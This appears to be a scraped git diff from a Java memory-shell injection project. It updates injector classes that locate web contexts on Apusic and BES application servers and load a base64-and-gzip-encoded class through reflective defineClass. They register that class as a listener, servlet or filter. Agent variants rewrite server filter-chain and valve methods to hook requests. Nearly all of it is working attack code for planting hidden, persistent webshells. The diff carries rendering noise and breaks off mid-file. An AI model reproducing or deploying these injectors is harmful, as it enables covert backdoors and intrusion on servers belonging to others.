import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -16,17 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicListenerInjector {
|
public class ApusicListenerInjector {
|
||||||
|
|
||||||
public ApusicListenerInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -40,52 +30,115 @@ public class ApusicListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public ApusicListenerInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||||
|
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||||
|
ClassLoader defineLoader;
|
||||||
|
Object obj;
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||||
} catch (Exception e) {
|
defineShell(loader);
|
||||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = loader;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||||
|
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||||
|
defineShell(internalLoader);
|
||||||
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = internalLoader;
|
||||||
}
|
}
|
||||||
|
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object listener) throws Exception {
|
public void inject(Object context, Object listener) throws Exception {
|
||||||
Object webModule = getFieldValue(context, "webapp");
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
|
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
|
||||||
for (String name : listeners) {
|
return;
|
||||||
if (getClassName().equals(name)) {
|
|
||||||
System.out.println("listener already injected");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(context, "loadListeners", null, null);
|
invokeMethod(context, "loadListeners", null, null);
|
||||||
System.out.println("listener injected successful");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -169,4 +222,19 @@ public class ApusicListenerInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+101
-29
@@ -3,11 +3,10 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -16,17 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicServletInjector {
|
public class ApusicServletInjector {
|
||||||
|
|
||||||
public ApusicServletInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object servlet = getShell(context);
|
|
||||||
inject(context, servlet);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -40,36 +30,100 @@ public class ApusicServletInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public ApusicServletInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||||
|
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||||
|
ClassLoader defineLoader;
|
||||||
|
Object obj;
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||||
} catch (Exception e) {
|
defineShell(loader);
|
||||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = loader;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||||
|
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||||
|
defineShell(internalLoader);
|
||||||
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = internalLoader;
|
||||||
}
|
}
|
||||||
|
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -77,12 +131,15 @@ public class ApusicServletInjector {
|
|||||||
Object webModule = getFieldValue(context, "webapp");
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
Object servletMapper = getFieldValue(context, "servletMapper");
|
Object servletMapper = getFieldValue(context, "servletMapper");
|
||||||
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("servlet already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
|
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
|
||||||
System.out.println("servlet injected successful");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -166,4 +223,19 @@ public class ApusicServletInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-7
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
|||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+85
-21
@@ -4,30 +4,19 @@ import javax.servlet.Filter;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BesFilterInjector {
|
public class BesFilterInjector {
|
||||||
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
public BesFilterInjector() {
|
|
||||||
try {
|
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -41,12 +30,57 @@ public class BesFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public BesFilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) getFieldValue(context, "encodedPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* com.bes.enterprise.webtier.core.DefaultContext
|
* com.bes.enterprise.webtier.core.DefaultContext
|
||||||
* /opt/bes/lib/bes-engine.jar
|
* /opt/bes/lib/bes-engine.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -56,6 +90,16 @@ public class BesFilterInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -73,22 +117,23 @@ public class BesFilterInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
String filterName = getClassName();
|
String filterName = getClassName();
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
log.warning("filter already exists");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
@@ -110,7 +155,11 @@ public class BesFilterInjector {
|
|||||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
||||||
filterConfigs.put(filterName, filterConfig);
|
filterConfigs.put(filterName, filterConfig);
|
||||||
log.info("filter added successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -194,4 +243,19 @@ public class BesFilterInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+83
-16
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
